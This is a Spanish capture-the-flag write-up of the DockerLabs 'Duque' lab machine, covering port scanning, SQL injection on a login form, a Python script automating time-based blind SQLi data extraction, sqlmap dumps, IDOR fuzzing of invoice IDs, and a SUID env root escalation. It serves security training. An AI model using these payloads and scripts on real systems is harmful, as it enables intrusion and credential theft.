> For the complete documentation index, see [llms.txt](https://wolder-hackverse.gitbook.io/wolders-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wolder-hackverse.gitbook.io/wolders-docs/writeups/dockerlabs/easy/duque.md).

# Duque

## Box info

<figure><img src="/files/wSK0hd82nGk6pK5TLYYN" alt=""><figcaption></figcaption></figure>

***

## Introducción

Este writeup documenta la resolución de la máquina **Duque** de la plataforma DockerLabs.

La máquina presenta **2 vulnerabilidades web** que deben ser explotadas para comprometer el acceso al servidor. Una vez obtenido acceso al sistema, se procede a la **escalada de privilegios hasta root**.

La aplicación web simula el portal corporativo interno de una empresa de distribución de gas llamada **NaturGas Solutions**.

> 💬 Nota por el hacker: Esta máquina presenta dos vulnerabilidades web muy entretenidas. Se trata de vulnerabilidades que pueden pasar desapercibidas si no prestas atención, por lo que es fácil obviarlas en un primer vistazo. Una vez que consigues explotarlas, la satisfacción es enorme.
>
> Recomiendo esta máquina a todas las personas que quieran practicar con vulnerabilidades web reales, concretamente con **IDOR** y **SQL Injection**, ya que son dos de las más comunes en entornos reales y que todo pentester debería conocer bien.

***

### Objetivo del reto

* Reconocimiento web&#x20;
* Obtención acceso inicial al sistema
* Escalar privilegios hasta el usuario root

### Habilidades y técnicas evaluadas

* Enumeración de servicios y directorios web
* Análisis de superficie de ataque
* Inyección SQL en panel de usuario
* Extracción de datos mediante SQLi
* Explotación de IDOR (Insecure Direct Object Reference)
* Enumeración de parámetros con fuerza bruta (ffuf)
* Enumeración interna del sistema Linux
* Abuso de binarios SUID
* Escalada de privilegios a root

***

## Reconocimiento

### Escaneo de puertos con nmap

## Realizamos un escaneo de puertos del sistema:

```bash
nmap -p- -sS --min-rate 5000 -vvv -Pn -n 172.17.0.2 -oG allPorts
```

Donde:

* -p- -> escanea todos los puertos
* -sS -> escaneo SYN (stealth)
* \--min-rate 5000 → acelera el escaneo
* -Pn -> omite el ping previo
* -n -> evita resolución DNS
* -oG -> guarda el resultado en formato grepeable

Resultados obtenidos:

* 22/tcp -> SSH
* 80/tcp -> HTTP

Una vez que identifiquemos los puertos abiertos de la máquina, realizaremos un escaneo más exhaustivo para cada uno de los puertos y así obtener información detallada de los puertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

Donde:&#x20;

* -p22,80 -> escanea únicamente los puertos abiertos previamente detectados
* -sC -> ejecuta scripts por defecto de NSE (Nmap Scripting Engine)
* -sV -> detecta versiones de los servicios
* -oN -> guarda el resultado en un fichero en formato normal

Este escaneo nos permitirá identificar posibles configuraciones inseguras o vulnerabilidades conocidas en los servicios expuestos.

A priori, no se observan vulnerabilidades ni configuraciones inseguras destacables en ninguno de los dos servicios.

<figure><img src="/files/DTIo0raGYu0wQwLR9seW" alt=""><figcaption></figcaption></figure>

***

## Enumeración de la aplicación web (puerto 80)&#x20;

### Análisis inicial

Al acceder al servicio web en `http://172.17.0.2` se observa un portal corporativo interno de una empresa de distribución de gas llamada **NaturGas Solutions**. La web cuenta con varias secciones: página principal con dashboard de estadísticas, directorio de empleados, normativa interna, intranet protegida y directorio de proveedores.

<figure><img src="/files/nGTkD5eefejkb3gadfcb" alt=""><figcaption><p>Imagen página principal</p></figcaption></figure>

### Fuzzing de directorios

Realizaremos fuzzing de directorios para descubrir rutas no enlazadas directamente en la web:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
intranet             (Status: 301) [Size: 311] [--> http://172.17.0.2/intranet/]
bills                (Status: 301) [Size: 308] [--> http://172.17.0.2/bills/]
server-status        (Status: 403) [Size: 275]
Progress: 220557 / 220557 (100.00%)
===============================================================
Finished
===============================================================
```

Entre los resultados obtenidos destaca la ruta `intranet` y la ruta `bills` .

En `intranet`, observaremos un mensaje de error indicándonos que no disponemos de los certificados necesarios para acceder a la **Intranet de NaturGas**.&#x20;

<figure><img src="/files/F9UbW4V3VB8Q5WsWkF6W" alt="" width="298"><figcaption></figcaption></figure>

En cambio si accedemos a la ruta `bills` podremos observar un panel de autenticación

<figure><img src="/files/6jfnjZqn8FnVh04nplrO" alt="" width="265"><figcaption></figcaption></figure>

## **Detección SQL Injection**

Se prueba el campo usuario con:

```
'
```

Respuesta genérica, no concluyente.

Se prueba:

```
admin' OR 1=1-- -
```

La respuesta cambia, posible SQL Injection.

<figure><img src="/files/bwj9qUQmpSu1fxNQIhRb" alt="" width="375"><figcaption></figcaption></figure>

### Acceso y enumeración de la base de datos

A parte de la SQL Injection Boolean based encontrada, se identifica que también es posible realizar una SQL Injection basada en tiempo (Time-based SQLi), utilizando la función **SLEEP()** para inferir información.

Ejemplo de payload:

```bash
and if(substr(database(),1,1)='a', sleep(5), 1)-- -
```

En este caso:

* Si el primer carácter del nombre de la base de datos es `'a'`, la aplicación tarda 5 segundos en responder.
* Si no lo es, la respuesta es inmediata.

Este método permite extraer información carácter por carácter.

***

### Descubrimiento de información

Mediante pruebas iterativas (*fuzzing* manual), se logra determinar que el primer carácter del nombre de la base de datos es la letra **“r”**.

Dado que este proceso puede resultar lento y poco eficiente si se realiza manualmente, se ha desarrollado un script en Python que automatiza la extracción de información de la base de datos. Este script se basa en el análisis del tiempo de respuesta de la aplicación web (técnica de **Time-based SQL Injection**), permitiendo obtener los datos de forma más rápida e interactiva.

***

### Automatización de la extracción de datos

El siguiente script permite extraer información de la base de datos de manera automatizada, evaluando las respuestas del servidor en función del tiempo de carga.

A continuación, se adjunta el script para que pueda ser utilizado y testeado para el laboratorio práctico:

```python
#!/usr/bin/env python3
# 
# [+] Time-Based SQL Injection
#
# - Plataforma: DockerLabs 
# - Máquina: Duque 
# - Dificultad: Easy
# - Autor: Wolder
# - Fecha: 04-05-2026
#
#-------------------------------------

from pwn import *
import sys, requests, time, signal, string

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://172.17.0.2/bills/index.php"
characters = string.digits + string.ascii_uppercase + string.ascii_lowercase + string.punctuation

headers = { 
    'Content-Type': 'application/x-www-form-urlencoded'
}

def make_request(data_post):
    try:
        time_start = time.time()
        requests.post(main_url, headers=headers, data=data_post)
        time_end = time.time()
        return time_end - time_start
    except:
        return 0

def get_length(query):

    for length in range(1, 10000):

        print(f"\r[+] Calculando longitud: {length}", end="", flush=True)

        data_post = {
            'username': "admin' and if(length((%s))=%d,sleep(1),1)-- -" % (query, length),
            'password': 'admin'
        }

        if make_request(data_post) > 0.9:
            print()
            return length

    return 0

def sqli(query):    

    length = get_length(query)
    data = ""

    print(f"[+] Longitud detectada: {length}")

    for position in range(1, length + 1):

        for character in characters:

            if character == "'":
                continue

            data_post = {
                'username': f"admin' and if(binary substr(({query}),{position},1)='{character}', sleep(1), 1)-- -",
                'password': 'admin'
            }

            if make_request(data_post) > 0.9:
                data += character
                print(f"\r[+] Extrayendo: {data}", end="", flush=True)
                break

    print()
    return data

if __name__ == '__main__':

    p = log.progress("SQLI BASED ON TIME")
    p.status("Extrayendo bases de datos")
    
    print("\n")

    query = "SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata"
    print(f"\n[+] Bases de datos extraidas: \n\n\t{sqli(query)}\n")

    database_select = input("Introduce el nombre de la base de datos que quieres extraer la información de sus tablas: ")
    p.status(f"Extrayendo las tablas de la base de datos {database_select}")
    
    print("\n")

    query = f"SELECT GROUP_CONCAT(table_name) from information_schema.tables WHERE table_schema='{database_select}'"
    print(f"\n[+] Tablas extraidas de la base de datos {database_select}:\n\n\t{sqli(query)}\n")

    table_select = input("Introduce el nombre de la tabla de la que quieras extraer las columnas: ")
    p.status(f"Extrayendo las columnas de la tabla {table_select} de la base de datos {database_select}")

    print("\n")

    query = f"SELECT GROUP_CONCAT(column_name) from information_schema.columns WHERE table_schema='{database_select}' and table_name='{table_select}'"
    print(f"\n[+] Columnas extraidas de la tabla {table_select} de la base de datos register: \n\n\t{sqli(query)}\n")

    columns_select = input("Introduce el nombre de las columnas (separado por comas) de las que quieras extraer su información (p.ej id,password): ")
    p.status(f"\n[+] Extrayendo los datos de la tabla {table_select} de la base de datos {database_select}") 

    columns_list = columns_select.split(",")

    columns_sql = ",0x3a,".join(columns_list)
    
    print("\n")

    query = f"SELECT GROUP_CONCAT(CONCAT({columns_sql})) FROM {database_select}.{table_select}"
    print(f"[+] Datos extraídos:\n\n\t {sqli(query)}")

```

Resultado final de la ejecución del script con la extración de datos completada:

<figure><img src="/files/smvZZc3J1JogX1WT5T5m" alt=""><figcaption></figcaption></figure>

Como se observa en los datos extraídos, se identifican varios usuarios junto con sus respectivas contraseñas.

Se procede a probar estas credenciales contra el servicio **SSH**, intentando autenticarse con cada combinación usuario/contraseña. Sin embargo, **no se consigue acceso** al sistema mediante este vector.

Por tanto, se concluye que estas credenciales **no son válidas para SSH**, sino que pertenecen al **panel de autenticación de la aplicación web**.

## Extra: Automatización de la SQL Injection con sqlmap

Cabe destacar que la explotación de la SQL Injection también puede realizarse de forma automatizada utilizando la herramienta **sqlmap**, lo que permite agilizar el proceso de enumeración y extracción de datos.

Para ello, primero es necesario capturar la petición HTTP del formulario vulnerable y guardarla en un archivo, por ejemplo:

```bash
request.req
```

Este archivo contendrá la request del login con el parámetro vulnerable (`username`).

Ejemplo **request.req**:

```http
POST /bills/index.php HTTP/1.1
Host: 172.17.0.2
User-Agent: Vuestro-User-Agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: http://172.17.0.2
Sec-GPC: 1
Connection: keep-alive
Referer: http://172.17.0.2/bills/index.php
Cookie: PHPSESSID=8qeedlu4g43ukvr1s292ho13ej
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=admin&password=admin
```

### Enumeración de bases de datos

Una vez guardada la petición, se ejecuta el siguiente comando para enumerar las bases de datos disponibles:

```bash
sqlmap -r request.req -p username --batch --dbs
...
...
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] register
[*] sys
```

### Enumeración de tablas

Seleccionada la base de datos objetivo (`register`), se enumeran las tablas:

```bash
sqlmap -r request.req -p username --batch -D register --tables
...
...
Database: register
[1 table]
+-------+
| users |
+-------+
```

### Enumeración de columnas

A continuación, se identifican las columnas de la tabla `users`:

```bash
sqlmap -r request.req -p username --batch -D register -T users --columns
...
...
Database: register
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(11)     |
| passwd   | varchar(50) |
| username | varchar(50) |
+----------+-------------+
```

### Extracción de datos

```bash
sqlmap -r request.req -p username --batch -D register -T users -C username,passwd --dump
...
...
Database: register
Table: users
[3 entries]
+----------+-----------+
| username | passwd    |
+----------+-----------+
| mario    | mario123  |
| jesus    | jesus2026 |
| admin    | admin123  |
+----------+-----------+
```

***

## Acceso login con el usuario administrador

Accedemos con las credenciales del usuario administrador, extraídas del script:

<figure><img src="/files/HWIfS9sV6eILYSfV7xDq" alt="" width="425"><figcaption></figcaption></figure>

El acceso es correcto, confirmamos que las credenciales son correctas

<figure><img src="/files/PeULSbBBwYdUQWoYX8As" alt="" width="541"><figcaption></figcaption></figure>

En el panel del usuario administrador, se pueden observar Detalles de factura, si accedemos a la primera Factura Consumo obtendremos lo siguiente:

<figure><img src="/files/zAAFPOjIgT27IpN6OkMk" alt="" width="505"><figcaption></figcaption></figure>

Información relevante del detalle de la factura

* Cliente
* Monto
* Estado

Si nos fijamos en la URL, vemos que se esta apuntando a un id:

<figure><img src="/files/A3Txb2N9gUajlsIWNPx5" alt=""><figcaption></figcaption></figure>

***

## Explotación IDOR&#x20;

En este punto, se plantea la posibilidad de una vulnerabilidad **IDOR (Insecure Direct Object Reference)** que permita acceder a facturas de otros usuarios.

Para validar esta hipótesis, se decide realizar fuzzing sobre el parámetro `id`, con el objetivo de identificar identificadores válidos asociados a otros clientes.

Para ello, se genera un diccionario personalizado con posibles combinaciones de IDs:

```python
lista = [f"xy{c}{n:03d}" for c in 'abcdefghijklmnopqrstuvwxyz' for n in range(1000)]
with open("xy_combinaciones.txt", "w") as f:
    f.write("\n".join(lista))
```

Este diccionario sigue el patrón observado en los identificadores (`xy + letra + número`), permitiendo automatizar el proceso de enumeración.

### **Enumeración de IDs mediante fuzzing con ffuf**

Para enumerar posibles facturas pertenecientes a otros usuarios, se utiliza el diccionario generado previamente junto con la herramienta **ffuf**.

El objetivo es identificar identificadores válidos mediante fuerza bruta sobre el parámetro `id`, aprovechando la posible vulnerabilidad **IDOR (Insecure Direct Object Reference)**.

Se ejecuta el siguiente comando:

```bash
ffuf -u 'http://172.17.0.2/bills/panel.php?id=FUZZ' -w xy_combinaciones.txt -b 'PHPSESSID=8qeedlu4g43ukvr1s292ho13ej' -fw 2616 -fs 6163 -c
```

<figure><img src="/files/hJlWNeqoaIv7VygjKpau" alt=""><figcaption></figcaption></figure>

Tal y como se observa en la captura de pantalla, tras realizar un proceso de filtrado basado en palabras clave y en el tamaño de la respuesta, se identifica una respuesta única y diferenciada respecto al resto.

Esta respuesta destaca por su comportamiento anómalo, lo que permite asociarla a un identificador válido.

Al acceder a este `id` desde el panel de facturación, se obtiene el siguiente resultado:

<figure><img src="/files/xmFVjhb0baROPuSKOUi2" alt="" width="498"><figcaption></figcaption></figure>

* Usuario: duque
* Password: XXXX

***

## Acceso inicial al sistema

Como hemos visto en la factura obtenida se identifican datos sensibles del usuario, incluyendo credenciales válidas.

Se procede a acceder al sistema como el usuario **duque**.

El acceso se realiza mediante SSH:

```bash
ssh duque@172.17.0.2
```

***

## Enumeración del sistema manual

### Comprobación de permisos sudo

Se revisan los privilegios del usuario actual:

```bash
sudo -l # El comando no reporta nada
```

El comando no devuelve ninguna configuración relevante, indicando que el usuario **no tiene permisos sudo configurados**.

### Enumero ficheros SUID:

A continuación, se buscan binarios con permisos SUID:

<figure><img src="/files/MyJdKYjggPMjEoRCqAsx" alt=""><figcaption></figcaption></figure>

Durante la enumeración se identifica que el binario **env** tiene el bit SUID activado.

Este hallazgo es relevante, ya que si un binario con este tipo de permisos está mal configurado, puede ser utilizado para escalar privilegios.

## Escalada de privilegios al usuario root

### Abuso del binario SUID env

Se procede a explotar el binario `env` con permisos SUID para obtener una shell con privilegios de root.

Tras su ejecución, se obtiene acceso como usuario **root**.

```
/usr/bin/env /bin/bash -p
```

<figure><img src="/files/0urehYPQgOVlNv3ydUfP" alt=""><figcaption></figcaption></figure>

***

## Conclusión&#x20;

El acceso y compromiso del sistema se logra mediante la explotación de una cadena de vulnerabilidades en la aplicación web:

* **SQL Injection** (basada en tiempo y/o bypass de autenticación), utilizada para comprometer el panel de login y extraer información de la base de datos.
* **IDOR (Insecure Direct Object Reference)**, que permite la enumeración de facturas de otros usuarios y la exposición de credenciales sensibles.
* **Acceso inicial al sistema** mediante SSH utilizando credenciales válidas obtenidas durante la fase de explotación web.
* **Escalada de privilegios a root** mediante el abuso del binario `env` con permisos **SUID** mal configurados.

Esta cadena de explotación demuestra cómo múltiples vulnerabilidades de bajo y medio impacto pueden combinarse para comprometer completamente el sistema.

## Técnicas usadas

* Blind Time-Based SQL Injection
* IDOR (Insecure Direct Object Reference)
* Acceso inicial mediante SSH (credenciales comprometidas)
* Enumeración y explotación del sistema Linux
* Escalada de privilegios mediante abuso de binarios SUID
